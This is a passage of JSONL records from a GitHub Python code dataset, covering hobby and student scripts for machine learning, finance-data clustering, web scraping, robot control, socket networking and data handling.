time()\n train_data = reduced_train_data + reduced_validation_data\n del reduced_train_data\n del reduced_validation_data\n train_labels = train_labels + validation_labels\n model = SVC(kernel=\"linear\", C=6.0)\n predictions = model.fit(train_data, train_labels).predict(reduced_test_data)\n\n prediction_output_file = os.path.join(os.path.dirname(__file__), 'final_predictions.txt')\n DataWrangler.write_to_file(prediction_output_file, predictions)\n print(\"{} test prediction writing = {} seconds\".format(print_prefix, time() - start))\n\n print(\"{} full processing = {} seconds\".format(print_prefix, time() - super_start))\n","repo_name":"poooh/MLProject2018","sub_path":"ml_project/ml_project/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":3520,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"32302470138","text":"###########################################\n### Source code by - Strzelczyk ###\n### Zdjęcia Dostarczały różne grupy ###\n###########################################\n\nimport requests\nimport json\nimport random\n\nimagesnum = 30\n\ndef randomMeme(limit: int=imagesnum):\n r = random.randint(1, limit)\n rh = f\"https://MisTenNajaranyh.github.io/MisTenNajaranyh/images/{r}.png\"\n return rh\n\ndef sendWebhook(url: str, name: str=None, avatar: str=None):\n r = random.randint(1, imagesnum)\n rh = f\"https://MisTenNajaranyh.github.io/MisTenNajaranyh/images/{r}.png\"\n\n embeds = [\n {\n \"image\": {\n \"url\": rh\n }\n }\n ]\n\n h = {\n \"content-type\": \"application/json\"\n }\n \n p = {\n \"username\": name,\n \"avatar_url\": avatar,\n \"embeds\": embeds\n }\n\n return requests.post(url, headers=h, json=p)\n","repo_name":"MisTenNajaranyh/MEMY","sub_path":"meme.py","file_name":"meme.py","file_ext":"py","file_size_in_byte":891,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"26933415821","text":"'''\r\nThis code is used to create buckets of MFHs.\r\n'''\r\n\r\nimport os\r\nimport glob\r\nimport pandas as pd\r\nimport numpy as np\r\nfrom sklearn.cluster import KMeans\r\nimport matplotlib.pyplot as plt\r\nfrom mpl_toolkits.mplot3d import Axes3D\r\nfrom sklearn.preprocessing import normalize\r\n\r\ndef comp_na(series): #Function fill NA by previous value\r\n mask=(np.isnan(series))\r\n for i in range(len(mask)):\r\n if mask[i]==True:\r\n series[i]=series[i-1]\r\n\r\ndef annualise(daily_returns):\r\n #annual=(np.power((1+daily_returns.mean()),250)-1)\r\n annual=(np.prod(1+daily_returns))**0.2-1\r\n return (annual)\r\n\r\ndef alpha_beta(series):\r\n series.dropna(inplace=True)\r\n m=[]\r\n s=[]\r\n MF_returns=np.log(series/series.shift(1))\r\n std=MF_returns.std()\r\n market_returns=np.log(market.Close/market.Close.shift(1))\r\n MF_returns.dropna(inplace=True)\r\n market_returns.dropna(inplace=True)\r\n market_return=annualise(market_returns) #annualise returns\r\n MF_return=annualise(MF_returns) #annualise returns\r\n for date in market_returns.index.tolist():\r\n if date in MF_returns.index.tolist():\r\n m.append(market_returns.loc[date])\r\n s.append(MF_returns.loc[date])\r\n beta=np.cov(s,m)[0,1]/np.var(m)\r\n risk_free_rate=0.07\r\n alpha=MF_return-(beta*(market_return-risk_free_rate))-risk_free_rate\r\n return (alpha,beta,std,MF_return)\r\n\r\ndef bucket_cal(weights,returns,risk):\r\n weighted_return=0\r\n weighted_risk=0\r\n prop=0\r\n check=0\r\n for mf in returns.index.tolist():\r\n if(mf not in weights.index.tolist()):\r\n continue\r\n if (weights[mf]==\"#VALUE!\"):\r\n continue\r\n print (mf)\r\n weighted_return+=(np.float64(weights[mf])*returns[mf])\r\n weighted_risk+=(np.float64(weights[mf])*risk[mf])\r\n check+=np.float64(weights[mf])\r\n prop+=np.float64(weights[mf])\r\n return (weighted_return/check,weighted_risk,prop)\r\n\r\npath=os.getcwd()\r\ncsv_files=glob.glob(path+\"\\*.csv\")\r\nmarket=pd.read_csv(path+\"\\\\Nifty.csv\")\r\nmarket.index=market.iloc[:,0]\r\nmarket.drop(market.columns[0],inplace=True,axis=1)\r\nif path+\"\\\\buckets.csv\" in csv_files:\r\n csv_files.remove(path+\"\\\\buckets.csv\")\r\nif path+\"\\\\Nifty.csv\" in csv_files:\r\n csv_files.remove(path+\"\\\\Nifty.csv\")\r\n\r\n#MFH_dict={} #All MFHs level\r\nfinal_df=pd.DataFrame(columns=(\"MFH\",\"scheme\",\"std\",\"beta\",\"alpha\",\"return\"))\r\n\r\nfor name in csv_files:\r\n csv=pd.read_csv(name)\r\n csv.index=csv.iloc[:,0]\r\n csv.drop(csv.columns[0],inplace=True,axis=1)\r\n #csv.apply(comp_na,axis=0)\r\n temp_df=pd.DataFrame(columns=(\"MFH\",\"scheme\",\"std\",\"beta\",\"alpha\",\"return\"))\r\n for MF in csv.columns:\r\n (alpha,beta,std,returns)=alpha_beta(csv[[MF]].iloc[:,0])\r\n temp_df['MFH']=[(name.split(\"\\\\\")[-1]).split(\".\")[0]]\r\n temp_df['scheme']=[MF]\r\n temp_df['std']=[std]\r\n temp_df['return']=[returns]\r\n temp_df['beta']=[beta]\r\n temp_df['alpha']=[alpha]\r\n final_df=final_df.append(temp_df,ignore_index=True)\r\n \r\n#Make Buckets\r\nk=4\r\nfor x in [\"std\",\"alpha\",\"beta\"]:\r\n final_df.drop(final_df.index[np.isnan(final_df[x])],axis=0,inplace=True)\r\n final_df[\"norm_\"+x] = final_df[x]/ np.linalg.norm(final_df[x])\r\nkmeans = KMeans(n_clusters=k, random_state=1).fit(final_df[[\"norm_std\",\"norm_alpha\",\"norm_beta\"]].values)\r\nfinal_df['bucket']=kmeans.labels_\r\n\r\nfig = plt.figure(figsize=(16,9))\r\nax = fig.add_subplot(111, projection='3d')\r\nx = np.array(final_df['std'])\r\ny = np.array(final_df['alpha'])\r\nz = np.array(final_df['beta'])\r\nax.scatter(x,y,z, marker=\"x\", c=final_df[\"bucket\"], s=25)\r\nplt.xlabel(\"Std\")\r\nplt.ylabel(\"alpha\")\r\n#plt.zlabel(\"beta\")\r\nplt.savefig(\"{}_buckets-(rm).jpg\".format(k))\r\n\r\nfor x in range(0,k):\r\n print (\"cluster{}\".format(x))\r\n print (np.mean(final_df[(final_df['bucket']==x)][[\"std\",\"alpha\",\"beta\",\"return\"]]))\r\n print (\"No.={}\\n\".format(sum((final_df['bucket']==x))))\r\n\r\nagg_df=pd.DataFrame(columns=(\"MFH\",\"Return\",\"Risk\",\"bucket\")) \r\ntemp_df=pd.DataFrame(columns=(\"MFH\",\"Return\",\"Risk\",\"bucket\"))\r\nweight_files=glob.glob(path+\"\\\\weights\\*.csv\")\r\nfor name in final_df['MFH'].unique().tolist():\r\n a=[(name.split(\"Time\")[0] in x) for x in weight_files]\r\n weight_name=weight_files[a.index(True)]\r\n weight_file=pd.read_csv(weight_name)\r\n temp=final_df[final_df['MFH']==name]\r\n weight_file[\"SchemeCode\"]=weight_file[\"SchemeCode\"].apply(str)\r\n weight_file.index=weight_file[\"SchemeCode\"]\r\n temp[\"Scheme Code\"]=temp[\"Scheme Code\"].apply(str)\r\n for x in [0,2,3]:\r\n temp.index=temp['Scheme Code']\r\n #weight_file.index = weight_file['SchemeCode']\r\n mask=(temp['bucket']==x)\r\n temp_df[\"MFH\"]=[name]\r\n w_return,w_risk, prop=bucket_cal(weight_file['weight'],\r\n temp[mask][\"return\"], \r\n temp[mask][\"std\"])\r\n temp_df['Risk']=[w_risk]\r\n temp_df['Return']=[w_return]\r\n temp_df[\"bucket\"]=[x]\r\n temp_df[\"Proportion\"] = prop\r\n agg_df=agg_df.append(temp_df)\r\n\r\nfinal_df.to_csv(\"buckets_rm.csv\",index=False)\r\nagg_df.to_csv(\"bucket_details_rm.csv\",index=False)\r\n","repo_name":"PriyangMT/inter_hall_DA_2018","sub_path":"bucket_creation.py","file_name":"bucket_creation.py","file_ext":"py","file_size_in_byte":5185,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"39296026367","text":"import json\n\nfrom selenium import webdriver\nfrom selenium.webdriver.common.keys import Keys\n\nfrom components.utils import (take_picture,\n get_text_page,\n scrolling_page)\n\nbuscas_json = '{\"google-me\": [\"Automação de processos\", \"Python\", \"Agilizando tarefas repetitivas\"]}'\nbuscas = json.loads(buscas_json)\n\nresultados = {}\ngoogle_me = buscas[\"google-me\"]\nbrowser = webdriver.Chrome()\nbrowser.get('http://www.google.com')\nbrowser.find_element_by_xpath('//*[@id=\"zV9nZe\"]/div').click()\nbrowser.fullscreen_window()\n\nfor busca in google_me:\n search = browser.find_element_by_name('q')\n\n browser.find_element_by_name('q').clear()\n search.send_keys(busca)\n search.send_keys(Keys.RETURN)\n\n scrolling_page(driver=browser)\n links = browser.find_elements_by_css_selector('div.g a:first-child')\n list_links = []\n for link in links:\n page = link.get_attribute(\"href\")\n if len(list_links) <= 2:\n if not \"google\" in page:\n print(page)\n list_links.append(page)\n else:\n break\n\n for link_page in list_links:\n # open new blank tab\n browser.switch_to.window(browser.window_handles[0])\n browser.execute_script(\"window.open();\")\n # switch to the new window which is second in window_handles array\n browser.switch_to.window(browser.window_handles[1])\n\n browser.get(link_page)\n\n scrolling_page(driver=browser)\n take_picture(driver=browser, name_photo=busca)\n get_text_page(driver=browser, link_page=link_page)\n\n browser.switch_to.window(browser.window_handles[1])\n browser.close()\n\n # resultados.update({busca: [link_page]})\n browser.switch_to.window(browser.window_handles[0])\nbrowser.close()\nprint(resultados)\nresultados_json = json.dumps(resultados)\narquivo = open(\"resultados.json\", \"w\")\narquivo.write(resultados_json)\narquivo.close()\n","repo_name":"danielealongato/searcher-automation","sub_path":"poc.py","file_name":"poc.py","file_ext":"py","file_size_in_byte":1963,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"14622413025","text":"#!/usr/bin/env python2\n\nimport ev3\nimport wiiMote\nfrom time import sleep\nimport thread\nimport socket\nimport cwiid\n\n#Motors\n# motor = ev3.motor(\"A\")\n\nmote = wiiMote.wiiMote()\nmote.setMode(cwiid.RPT_BTN | cwiid.RPT_CLASSIC)\nisReversed = False\n\n\ndef hatThread():\n s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n s.bind(('', 8000))\n s.listen(1)\n while True:\n client, addr = s.accept()\n lastCommand = ''\n try:\n while True:\n sleep(0.1)\n if (mote.getMoteButton(\"A\") and lastCommand != 'up\\n'):\n client.send(\"up\\n\")\n lastCommand = \"up\\n\"\n elif (mote.getMoteButton(\"B\") and lastCommand != 'down\\n'):\n client.send(\"down\\n\")\n lastCommand = \"down\\n\"\n elif(mote.getState()['buttons'] == 0 and lastCommand != 'brake\\n'):\n client.send(\"brake\\n\")\n lastCommand = \"brake\\n\"\n except socket.error:\n print(\"Hat disconnected\")\n\n\n\ndef liftThread():\n while True:\n sleep(0.1)\n if (mote.getClassicButton(\"ZL\")):\n lift.run(-50)\n elif (mote.getClassicButton(\"ZR\")):\n lift.moveAbs(liftHomePos, 100)\n while liftHomePos != lift.getPos():\n sleep(0.01)\n else:\n lift.braking(True)\n\n\ndef clawThread():\n while True:\n sleep(0.1)\n if (mote.getClassicButton(\"L\")):\n claw.run(-100)\n elif (mote.getClassicButton(\"R\")):\n claw.run(100)\n else:\n claw.braking(True)\n\ntry:\n thread.start_new_thread(liftThread, ())\n thread.start_new_thread(clawThread, ())\n thread.start_new_thread(hatThread, ())\n while True:\n speed = mote.getClassicJoistics()[\"leftY\"] * 100\n if (mote.getClassicButton(\"A\") and isReversed):\n speed = (speed * speed * speed)\n rightJoistic = (mote.getClassicJoistics()[\"rightX\"] * mote.getClassicJoistics()[\"rightX\"] * mote.getClassicJoistics()[\"rightX\"])\n leftMotor.run(speed + rightJoistic * 100)\n rightMotor.run(speed - rightJoistic * 100)\n else:\n leftMotor.run(speed + mote.getClassicJoistics()[\"rightX\"] * 100)\n rightMotor.run(speed - mote.getClassicJoistics()[\"rightX\"] * 100)\nfinally:\n lift.reset()\n leftMotor.reset()\n rightMotor.reset()\n claw.reset()\n","repo_name":"iamr2003/wvsingledaydesign","sub_path":"examples/Base robot.py","file_name":"Base robot.py","file_ext":"py","file_size_in_byte":2434,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"} +{"seq_id":"72651920080","text":"import numpy, pylab\nfrom neural_network.netutils import utils \n\nD = utils.Data_Handlers()\n\ndef plot(fname, dir):\n\n dfavec = numpy.fromfile(fname, sep=' ')\n\n rd = len(dfavec)\n rdfa = dfavec.reshape((rd/2,2))\n\n slope, intercept, r, sterr = D.linregress(rdfa[:,0], rdfa[:,1])\n\n dfaname = dir + 'dfa_fitness.eps'\n\n D.linreg_plot(rdfa, slope, intercept, dfaname, srate=10, sigma=0.0)\n \n pylab.show()\n \n\n","repo_name":"jberwald/neuralNetwork","sub_path":"netutils/dfa_plot.py","file_name":"dfa_plot.py","file_ext":"py","file_size_in_byte":425,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"3"} +{"seq_id":"2664655555","text":"import xml.etree.ElementTree as ET\ntree = ET.parse('data.xml') # Parse a file\nroot = tree.getroot()\n# Add an attrib \nroot.set('key', 'value') \n\n# Del an attrib\ndel(root.attrib['key'])\n\n# Save changes \ntree.write('data.xml')\nprint(root.attrib)\n\n# Loop every tag in the file\n\nfor element in root:\n print(element.tag, element.attrib)\n\nlista = [(element.tag, element.attrib) for element in root.iter() ] # List of all elements and their attribs\nprint(lista)\n\n# List all movies\n\nfor movie in root.iter('movie'):\n print(movie.attrib)\n\n# Covert all to string\n\nxml_string = str(ET.tostring(root))\n# print(xml_string)\n\nwith open('string.txt', 'w') as file:\n file.write(xml_string)\n file.close()\n\n","repo_name":"tinoco123/xml-python","sub_path":"root.py","file_name":"root.py","file_ext":"py","file_size_in_byte":701,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"29941884854","text":"from socket import *\nimport threading\nimport time\n\nconn_list = []\nconn_dt = {}\n# clientsocket,addr = socketserver.accept()\n\ndef tcplink(sock:socket,addr):\n print('Accept new connection from %s:%s...' % addr)\n # sock.send(b'Welcome!')\n while True:\n try:\n recvmsg = sock.recv(1024)\n strData = recvmsg.decode(\"utf-8\")\n print(addr + \" Roger:\" + strData)\n # time.sleep(1)\n if strData == 'q':\n break\n # msg = input(\"reply:\")\n # socketserver.send(data=msg.encode(\"utf-8\"))\n # socketserver.sendto(data=msg.encode(\"utf-8\"),args=sock.getsockname())\n # sock.close()\n except:\n sock.close()\n print(addr,'offline')\n _index = conn_list.index(addr)\n conn_dt.pop(addr)\n conn_list.pop(_index)\n break\n # socketserver.close()\ndef recs():\n socketserver = socket()\n host = '0.0.0.0'\n port = 9092\n\n socketserver.bind((host, port))\n socketserver.listen(5)\n print(\"Waiting for connection...\")\n while True:\n clientsock, clientaddress = socketserver.accept()\n # print(\"yyyyyy\",clientsock, clientaddress,\"yyyy\")\n if clientaddress not in conn_list:\n conn_list.append(clientaddress)\n conn_dt[clientaddress] = clientsock\n # gui.listBox.insert(END, clientaddress)\n print('connect from:', clientaddress)\n # 在这里创建线程，就可以每次都将socket进行保持\n t = threading.Thread(target=tcplink, args=(clientsock, clientaddress))\n t.start()\n\nif __name__ == '__main__':\n recs()\n\n # recvmsg = clientsocket.recv(1024)\n\n\n\n\n\n\n\n\n\n\nsocketserver.close()\n","repo_name":"CantonHannibal/PySparkQA","sub_path":"Socket/mainServer.py","file_name":"mainServer.py","file_ext":"py","file_size_in_byte":1742,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"72457668560","text":"import torch\nimport torch.nn.functional as torch_f\nimport torch.nn as nn\ntorch.set_printoptions(precision=4,sci_mode=False)\nfrom datasets.queries import BaseQueries, TransQueries \n\n\n\ndef loss_str2func():\n return {'l1': torch_f.l1_loss, 'l2':torch_f.mse_loss}\n\ndef act_str2func():\n return {'softmax': nn.Softmax(),'elu':nn.ELU(),'leakyrelu':nn.LeakyReLU(),'relu':nn.ReLU()}\n\n\ndef torch2numpy(input):\n if input is None:\n return None\n if torch.is_tensor(input):\n input=input.detach().cpu().numpy()\n return input\n\n\ndef print_dict_torch(dict_): \n for k,v in dict_.items():\n if torch.is_tensor(v):\n print(k,v.size())\n else:\n print(k,v)\n\n \n\ndef recover_3d_proj_pinhole(camintr, est_scale, est_trans,off_z=0.4, input_res=(128, 128), verbose=False):\n # Estimate scale and trans between 3D and 2D\n focal = camintr[:, :1, :1]\n batch_size = est_trans.shape[0]\n num_joints = est_trans.shape[1]\n focal = focal.view(batch_size, 1, 1)\n est_scale = est_scale.view(batch_size, -1, 1)# z factor\n est_trans = est_trans.view(batch_size, -1, 2)# 2D x,y, img_center as 0,0\n\n # est_scale is homogeneous to object scale change in pixels\n est_Z0 = focal * est_scale + off_z\n cam_centers = camintr[:, :2, 2].view(batch_size,1,2).repeat(1,num_joints,1)\n img_centers = (cam_centers.new(input_res) / 2).view(1, 1, 2).repeat(batch_size,num_joints, 1)\n\n est_xy0= est_trans+img_centers\n est_XY0=(est_xy0-cam_centers) * est_Z0 / focal\n \n est_c3d = torch.cat([est_XY0, est_Z0], -1)\n return est_xy0,est_Z0, est_c3d\n\n\nclass To25DBranch(nn.Module):\n def __init__(self, trans_factor=1, scale_factor=1):\n \"\"\"\n Args:\n trans_factor: Scaling parameter to insure translation and scale\n are updated similarly during training (if one is updated \n much more than the other, training is slowed down, because\n for instance only the variation of translation or scale\n significantly influences the final loss variation)\n scale_factor: Scaling parameter to insure translation and scale\n are updated similarly during training\n \"\"\"\n super(To25DBranch, self).__init__()\n self.trans_factor = trans_factor\n self.scale_factor = scale_factor\n self.inp_res = [256, 256]\n\n def forward(self, sample, scaletrans, verbose=False): \n batch_size = scaletrans.shape[0]\n trans = scaletrans[:, :, :2]\n scale = scaletrans[:, :, 2]\n final_trans = trans.view(batch_size,-1, 2)* self.trans_factor\n final_scale = scale.view(batch_size,-1, 1)* self.scale_factor\n height, width = tuple(sample[TransQueries.IMAGE].shape[2:])\n camintr = sample[TransQueries.CAMINTR].cuda() \n \n est_xy0,est_Z0, est_c3d=recover_3d_proj_pinhole(camintr=camintr,est_scale=final_scale,est_trans=final_trans,input_res=(width,height), verbose=verbose)\n return {\n \"rep2d\": est_xy0, \n \"rep_absz\": est_Z0,\n \"rep3d\": est_c3d,\n }\n \n\ndef compute_hand_loss(est2d,gt2d,estz,gtz,est3d,gt3d,weights,is_single_hand,pose_loss,verbose):\n hand_losses={}\n sum_weights=torch.where(torch.sum(weights)>0,torch.sum(weights),torch.Tensor([1]).cuda())[0]\n if not (est2d is None):\n loss2d=pose_loss(est2d,gt2d,reduction='none')\n loss2d=torch.bmm(loss2d.view(loss2d.shape[0],-1,1),weights.view(-1,1,1)) \n\n hand_losses[\"recov_joints2d\"]=torch.sum(loss2d)/(loss2d.shape[1]*sum_weights)\n if not(estz is None): \n lossz=pose_loss(estz,gtz,reduction='none')\n lossz=torch.bmm(lossz.view(lossz.shape[0],-1,1),weights.view(-1,1,1))\n hand_losses[\"recov_joints_absz\"]=torch.sum(lossz)/(lossz.shape[1]*sum_weights)\n if not (est3d is None):\n loss3d= pose_loss(est3d,gt3d,reduction='none')\n loss3d=torch.bmm(loss3d.view(loss3d.shape[0],-1,1),weights.view(-1,1,1))\n hand_losses[\"recov_joint3d\"] = torch.sum(loss3d)/(loss3d.shape[1]*sum_weights)\n\n return hand_losses\n\n","repo_name":"fylwen/HTT","sub_path":"models/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":4110,"program_lang":"python","lang":"en","doc_type":"code","stars":38,"dataset":"github-code","pt":"3"} +{"seq_id":"29266530838","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Thu Apr 8 09:23:44 2021\n\n@author: Stian\n\"\"\"\n\nimport yfinance as yf\nimport os\nimport pandas as pd\nimport re\nfrom lib.make_ready import make_ready\nimport json\nimport datetime\nimport time\n\n\naksjer = [\"EQNR.OL\", \"Aker.OL\", \"OSEBX.OL\", \"DNB.OL\", \"NEL.OL\", \"TEL.OL\", \"STB.OL\"]\ndager = ['2021-04-08', '2021-04-09']\n\nekstra = \"\"\npath = 'data_clean/'\nfiler = [fil.lower() for fil in os.listdir(path)]\n\n# Find the aksjer i don't hvae\ncombos = []\nfor aksje in aksjer:\n for dag in dager:\n c = aksje.lower() + \" \" + \".\".join(dag.split(\"-\")[::-1]) + \".xlsx\"\n if c not in filer:\n combos.append(c)\n \nprint(f\"Downloading {len(combos)}\") \n \n\n\nfor aksjedag in combos:\n dato = re.findall('\\d+.\\d+.\\d+', aksjedag)[0]\n navn = re.findall('(.*?) '+dato, aksjedag)[0]\n \n dato = dato.split(\".\")\n dato = datetime.datetime(int(dato[2]), int(dato[1]), int(dato[0]))\n dato_end = dato + datetime.timedelta(days=1)\n \n try:\n print(\"start download\")\n data = yf.download(navn.upper(),\n start = dato.strftime(\"%Y-%m-%d\"),\n end = dato_end.strftime(\"%Y-%m-%d\"),\n interval=\"1m\")\n time.sleep(1)\n \n data = data.rename(columns= {'Open':'open', 'High':'high', 'Low':'low', 'Close':'close', 'Volume':'volume'})\n data = data.drop(columns=['Adj Close'])\n \n stock = make_ready().use_stockstats_simple(data)\n stock.to_excel(path + aksjedag, index=False)\n print(\"200 ok\")\n except:\n print(\"not working, something wrong in download\")\n \n \n \n \n\n\n\n\n\n\n","repo_name":"stianteien/instradag","sub_path":"data_gathering_yfinance.py","file_name":"data_gathering_yfinance.py","file_ext":"py","file_size_in_byte":1687,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"32464717649","text":"from imports import *\nimport numpy as np\n\n\ndef write_string_to_file(string: str, path: str) -> None:\n with open(path, \"w\") as f:\n f.write(string)\n f.close()\n\n\ndef write_matrix_to_file(matrix: list, path: str) -> None:\n to_write = \"\"\n for row in matrix:\n for entry in row:\n to_write += '{0: >5}'.format(entry) + \"|\"\n to_write += '\\n'\n with open(path, \"w\") as f:\n f.write(to_write)\n f.close()\n\n\ndef read_float_from_file(path: str) -> float:\n with open(path, \"r\") as f:\n return float(f.read())\n\n\ndef read_list_from_file(path: str) -> dict:\n with open(path, \"r\") as f:\n items = f.read().split(',')\n items[0] = items[0].replace(\"[\", \"\")\n items[-1] = items[-1].replace(\"]\", \"\")\n return np.array([float(item) for item in items])\n\n\ndef read_matrix_from_file(path: str) -> list:\n matrix = []\n with open(path, \"r\") as f:\n for line in f.readlines():\n entries = line.split('|')\n matrix.append([int(entry.strip())\n for entry in entries if entry.strip() != \"\"])\n return np.matrix(matrix)\n","repo_name":"Pieter-Jacobs/election_simulation","sub_path":"serialize.py","file_name":"serialize.py","file_ext":"py","file_size_in_byte":1143,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"32383732513","text":"# (c) 2020 Rinze Douma\n\nfrom pathlib import Path\n# import warnings\n\nimport pandas as pd\nfrom sklearn import linear_model\nfrom sklearn.metrics import r2_score, median_absolute_error\nfrom sklearn.model_selection import train_test_split\nfrom sklearn.preprocessing import StandardScaler\n\nfrom notebooks.json_dataframe import APARTMENTS, log_print\n\n# Skip yellowbrick plots due to import warning\n# from yellowbrick.regressor import ResidualsPlot, PredictionError\n\n# Set base path\nBASE = Path(__file__).resolve().parent.parent / \"data\"\n\n\nclass MachineLearnModel:\n \"\"\"Main class to pre-process and run machine learning models.\"\"\"\n\n def __init__(self, filename=\"combination.pkl\",\n apartment=False, verbose=False):\n\n # Declare variables\n self.verbose = verbose\n self.X_train = self.X_test = self.y_train = self.y_test = pd.DataFrame\n self.q = pd.DataFrame\n self.scaled_fit = self.ml_model = None\n\n # Open file\n self.df = pd.read_pickle(BASE / filename)\n log_print(f\"Total: {self.df.shape[0]}\", verbose)\n\n # Check for null values\n if self.df.isnull().values.any():\n raise ValueError(\"Null values present in DataFrame.\")\n\n # Temp solution for incorrect column names\n self.df = (self.df.rename(columns={\"rf_plat dak\": \"rf_plat_dak\"})\n .reset_index(drop=True))\n\n # Drop columns that appear highly correlated with other factors.\n distractions = [\"vve_kvk\", \"vve_am\", \"vve_per_contr\",\n \"vve_reserve_fund\", \"rt_pannen\", \"rf_plat_dak\",\n \"vve_contribution\", \"address\", \"price_m2\",\n \"geometry\"]\n self.df = self.df.drop(columns=distractions)\n\n # Select apartments or houses\n if apartment:\n self.df = self.df[self.df[APARTMENTS].apply(any, axis=1)]\n log_print(f\"Split before outlier func: {self.df.shape[0]}\", verbose)\n self.apartments()\n log_print(f\"Split after outlier func: {self.df.shape[0]}\", verbose)\n else:\n self.df = self.df[~self.df[APARTMENTS].apply(any, axis=1)]\n self.houses()\n\n # Split into X and y\n self.split_dataset()\n\n # Scale X\n self.scaler()\n\n def apartments(self):\n \"\"\"Remove outliers and drop non-apartment columns.\"\"\"\n\n outliers = {\n *self.df[(self.df[\"asking_price\"] > 10000000)\n | (self.df[\"asking_price\"] < 100000)].index,\n *self.df[self.df[\"build_year\"] < 1600].index,\n *self.df[self.df[\"service_fees_pm\"] > 500].index, # 700?\n *self.df[(self.df[\"property_m3\"] < 10)\n | (self.df[\"property_m3\"] > 800)].index, # > 900?\n *self.df[self.df[\"num_bathrooms\"] > 4].index,\n *self.df[self.df[\"num_toilets\"] > 3].index,\n *self.df[self.df[\"bedrooms\"] > 5].index, # 6?\n *self.df[self.df[\"days_online\"] > 280].index # was 120\n }\n\n # Drop rows that have outliers\n self.df = self.df.drop(outliers)\n\n # Drop columns that are not relevant for apartments\n pt = [col\n for col in self.df.columns\n if (col.startswith(\"pt\") and col not in APARTMENTS)\n or (col.startswith(\"rt_\") or col.startswith(\"rf_\"))]\n self.df = self.df.drop(columns=pt + [\"land_m2\", \"floors\"])\n\n def houses(self):\n \"\"\"Remove outliers and drop apartment columns.\"\"\"\n\n outliers = {\n *self.df[(self.df[\"asking_price\"] > 10000000)\n | (self.df[\"asking_price\"] < 100000)].index,\n *self.df[self.df[\"build_year\"] < 1600].index,\n *self.df[self.df[\"land_m2\"] > 600].index,\n *self.df[(self.df[\"property_m3\"] < 10)\n | (self.df[\"property_m3\"] > 800)].index, # 900?\n *self.df[self.df[\"living_m2\"] > 500].index,\n *self.df[self.df[\"num_bathrooms\"] > 5].index,\n *self.df[self.df[\"num_toilets\"] > 4].index,\n *self.df[self.df[\"floors\"] > 7].index,\n *self.df[self.df[\"rooms\"] > 15].index,\n *self.df[self.df[\"bedrooms\"] > 8].index, # 9?\n *self.df[self.df[\"days_online\"] > 370].index\n }\n\n # Drop rows that have outliers\n self.df = self.df.drop(outliers)\n\n # Drop columns that are not relevant for houses\n pt = [col\n for col in self.df.columns\n if col in APARTMENTS]\n self.df = self.df.drop(columns=pt + [\"apartment_level\"])\n\n def split_dataset(self, test_size=.4):\n \"\"\"Return train & test set for X and y.\"\"\"\n\n # Set variables\n X = self.df[[col\n for col in self.df.columns\n if col != \"asking_price\"]]\n y = self.df[\"asking_price\"]\n\n (self.X_train, self.X_test,\n self.y_train, self.y_test) = train_test_split(X, y,\n test_size=test_size,\n random_state=7)\n\n def scaler(self):\n \"\"\"Convert numeric columns into scaled values.\"\"\"\n\n # Select column names of factors with more than 2 values\n num_cols = [col for col in self.df.columns\n if self.df[col].nunique() > 2\n and self.df[col].dtype in [\"int64\", \"float64\"]\n and col != \"asking_price\"]\n\n # In prediction apartment: only fit and return\n if self.scaled_fit:\n self.q.reset_index(drop=True, inplace=True)\n scaled = pd.DataFrame(self.scaled_fit\n .transform(self.q[num_cols]),\n columns=num_cols)\n self.q = self.q.drop(columns=num_cols, axis=1)\n self.q = self.q.merge(scaled,\n left_index=True,\n right_index=True,\n how=\"outer\")\n return\n\n # Fit scaler model\n std = StandardScaler()\n self.scaled_fit = std.fit(self.X_train[num_cols])\n\n # Apply to dataframe, train set first\n self.X_train.reset_index(drop=True, inplace=True)\n scaled = pd.DataFrame(self.scaled_fit\n .transform(self.X_train[num_cols]),\n columns=num_cols)\n self.X_train = self.X_train.drop(columns=num_cols, axis=1)\n self.X_train = self.X_train.merge(scaled,\n left_index=True,\n right_index=True,\n how=\"outer\")\n # test set\n self.X_test.reset_index(drop=True, inplace=True)\n scaled_test = pd.DataFrame(self.scaled_fit\n .transform(self.X_test[num_cols]),\n columns=num_cols)\n self.X_test = self.X_test.drop(columns=num_cols, axis=1)\n self.X_test = self.X_test.merge(scaled_test,\n left_index=True,\n right_index=True,\n how=\"outer\")\n\n def visualize_model(self, plot, model):\n \"\"\"Visualize the data for a model in a specified plot.\"\"\"\n\n visualizer = plot(model)\n visualizer.fit(self.X_train, self.y_train)\n visualizer.score(self.X_test, self.y_test)\n visualizer.show()\n\n def evaluate_model(self, model, viz=False, save=False):\n \"\"\"Run ML mdl and return score\"\"\"\n\n models = {\"LR\": linear_model.LinearRegression,\n \"RI\": linear_model.Ridge,\n \"LA\": linear_model.Lasso,\n \"EN\": linear_model.ElasticNet}\n\n trans = {\"LR\": \"Linear regression model\",\n \"RI\": \"Ridge regression model\",\n \"LA\": \"Lasso regression model\",\n \"EN\": \"ElasticNet regression model\"}\n\n ml_model = models[model]()\n ml_model.fit(self.X_train, self.y_train)\n\n log_print(f\"\\n-----\\nWorking on: {str(trans[model])}...\", self.verbose)\n\n \"\"\"\n Currently switched off due to import warning created by YellowBrick\n \n if viz:\n # Create residuals plot\n for plot in [ResidualsPlot, PredictionError]:\n self.visualize_model(plot, ml_model)\"\"\"\n\n # Print stats\n if self.verbose:\n # Get predictions and score it\n predictions = ml_model.predict(self.X_test)\n train_r2 = ml_model.score(self.X_train, self.y_train)\n acc = median_absolute_error(self.y_test, predictions)\n test_r2 = r2_score(self.y_test, predictions)\n\n # Print to 